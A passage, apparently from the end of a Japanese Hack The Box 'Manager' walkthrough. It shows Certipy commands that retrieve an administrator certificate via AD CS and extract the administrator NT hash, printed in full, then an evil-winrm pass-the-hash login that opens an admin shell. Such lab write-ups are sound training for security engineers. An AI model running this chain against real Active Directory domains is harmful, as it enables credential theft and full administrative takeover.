Certipy v4.7.0 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'dc01.manager.htb' at '192.168.40.1'
[+] Trying to resolve 'MANAGER.HTB' at '192.168.40.1'
[*] Rerieving certificate with ID 14
[+] Trying to connect to endpoint: ncacn_np:10.129.144.30[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.129.144.30[\pipe\cert]
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '14.key'
[*] Saved certificate and private key to 'administrator.pfx'
```
証明書を取れました。これで認証します。
失敗する場合は上記同様に`ntpdate`します。
```bash
┌──(root㉿kali)-[~/work]
└─# certipy auth -pfx administrator.pfx -dc-ip 10.129.144.30
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
```
ハッシュが取れたのでPTHします！

```bash
┌──(root㉿kali)-[~]
└─# evil-winrm -i 10.129.144.30 -u Administrator -H ae5064c2f62317332c88629e025924ef
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> 
```
これでAdminのフラグを奪取できました！

# まとめ
![スクリーンショット 2023-10-30 205142.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/578fb98a-bbd9-9a29-daed-d4d62496746e.png)
これで特権昇格に成功し、Administrator権限を奪取できました。
総当たり嫌いマンなので初手が一番キツカッタです。
それ以降はADCSでの権限昇格だったのでスラスラいけました。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。